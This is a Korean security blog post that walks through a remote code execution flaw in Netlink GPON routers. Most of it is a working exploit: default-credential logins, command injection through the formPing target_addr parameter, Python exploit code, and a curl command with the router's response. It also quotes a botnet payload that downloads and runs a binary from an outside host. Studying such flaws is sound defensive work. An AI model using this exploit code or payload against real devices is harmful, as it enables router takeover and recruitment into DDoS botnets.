1. 개념
Netlink GPON 라우터는 일반적으로 우리가 사용하는 공유기이다.
2. 취약점 설명
해당 라우터를 통해 원격코드 실행 명령어(RCE)를 수행하여 악의적인 코드를 실행시키고 Muhstik, Maria봇넷 등이 Netlink GPON Router 취약점을 이용하여 봇넷을 구축하고 있다.
봇넷에 감염될경우 봇넷 컨트롤러가 C&C 서버를 이용하여 DDoS 공격을 수행할 수 있다.
3. PoC(Proof of Concept)
1) 로그인 수행
해당 RCE 공격을 수행하기 위해서는 해당 기기에 로그인을 수행해야 한다.
/boaform/admin/formLogin 경로를 통해 해당 기기에 로그인을 수행할 수 있고 보통 공격자들은 Default ID, Password인 user/user를 입력하여 해당 기기에 로그인을 시도한다.
user/user이외에도 다양한 ID, Password를 대입하여 공격한다.
1.1) Payload
GET /boaform/admin/formLogin?username=user&psd=user
1.2) Exploit Code
url = TARGET+"/boaform/admin/formLogin"
# Create Session
request1 = requests.session()
login = {"username":"user","psd":"user"}
# Send Log Data
r = request1.post(url, headers=header(login), data=login, verify=False,timeout=10)
해당 기기에 로그인이 성공할 경우 RCE 공격을 수행할 수 있다.
2) RCE 공격 수행
/boaform/admin/formPing 해당 경로에있는 target_addr 매개변수를 POST로 요청을 수행할 경우 해당 매개변수를 확인하지 않고 시스템 ping 및 traceroute 명령을 호출함으로 RCE공격을 수행할 수 있다.
2.1) Payload
POST./boaform/admin/formPing.
HTTP/1.1..
User-Agent:.polaris.botnet..
Accept:.*/*..
Accept-Encoding:.gzip,.deflate..
Content-Type:.application/x-www-form-urlencoded....target_addr=;cd./tmp;.rm.-rf.viktor.mips;.
wget.http://1.1.1.1:6479/bins/viktor.mips;../viktor.mips./&waninf=1_INTERNET_R_VID_154....
2.2) Exploit Code
url1 = TARGET+"/boaform/admin/formPing"
print('----------------',url1)
# RCE Attack
command = "busybox"
print(command)
post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"
r1 = request1.post(url1,data=post_data, verify=False,timeout=10)
print(r1.text.split("<pre>")[1].split("</pre>")[0])
if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]:
print('200')
status = 200
return status
else:
print(r1.status_code)
return r1.status_code
2.3) Command
curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154"
http://TARGETIP/boaform/admin/formPing
3) 공격 결과
RCE 공격에 성공한 후 nc, netcat명령어를 사용하여 접속 하면 라우터의 내부구조를 파악할 수 있다.
명령 실행 권한을 얻었기 때문에 트로이 목마 또는 제어 프로그램을 설치할 수 있다.
4. Code
1) Exploit Code
# Exploit Title: Netlink GPON Router 1.0.11 - Remote Code Execution
# Date: 2020-03-17
# Exploit Author: shellord
# Vendor Homepage: https://www.netlink-india.com/
# Version: 1.0.11
# Tested on: Windows 10
# CVE: N/A
Exploit :
curl -L -d "target_addr=;ls /&waninf=1_INTERNET_R_VID_154"
http://TARGETIP/boaform/admin/formPing
Response :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--ϵͳĬģ-->
<html>
<head>
<title>PINGԽ</title>
<meta http-equiv=pragma content=no-cache>
<meta http-equiv=refresh content="2">
<meta http-equiv=cache-control content="no-cache, must-revalidate">
<meta http-equiv=content-type content="text/html; charset=gbk">
<meta http-equiv=content-script-type content=text/javascript>
<!--ϵͳcss-->
<style type=text/css>
@import url(/style/default.css);
</style>
<!--ϵͳű-->
<script language="javascript" src="common.js"></script>
</head>
<!-------------------------------------------------------------------------------------->
<!--ҳ-->
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"
alink="#000000" link="#000000" vlink="#000000">
<blockquote>
<form>
<div align="left" style="padding-left:20px;"><br>
<div align="left"><b>Finish</b>
<br><br>
</div>
<pre>
bin
dev
etc
home
image
lib
mnt
proc
sbin
sys
tmp
usr
var
</pre>
<input type=button value="back"
onClick=window.location.replace("/diag_ping_admin_en.asp")>
</div>
</form>
</blockquote>
</body>
</html>
2) Phython Code
def execute_command(command,TARGET):
url = TARGET+"/boaform/admin/formLogin"
# Create Session
request1 = requests.session()
login = {"username":"e8c","psd":"e8c"}
# Send Log Data
r = request1.post(url, headers=header(login), data=login, verify=False,timeout=10)
url1 = TARGET+"/boaform/admin/formPing"
print('----------------',url1)
# RCE Attack
command = "busybox"
print(command)
post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"
r1 = request1.post(url1,data=post_data, verify=False,timeout=10)
print(r1.text.split("<pre>")[1].split("</pre>")[0])
if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]:
print('200')
status = 200
return status
else:
print(r1.status_code)
return r1.status_code
[참고]
blog.csdn.net/wuyou1995/article/details/106796581
www.exploit-db.com/exploits/48225
'Hacking & Security > Vulnerability' 카테고리의 다른 글
NetGear_DGN2200 ping.cgi RCE Vulnerability (CVE-2017-6077) (0) | 2020.10.03 |
---|---|
DrayTek Vigor RCE Vulnerability (CVE-2020-8515) (3) | 2020.10.03 |
Comtrend VR-3033 Router RCE Vernerability (CVE-2020-10173) (0) | 2020.07.16 |
BIG IP F5 TMUI RCE Vulnerability (CVE-2020-5902) (3) | 2020.07.08 |
WordPress Plugin Multi-Scheduler 1.0.0 CSRF(CVE-2020-13426) (1) | 2020.06.26 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊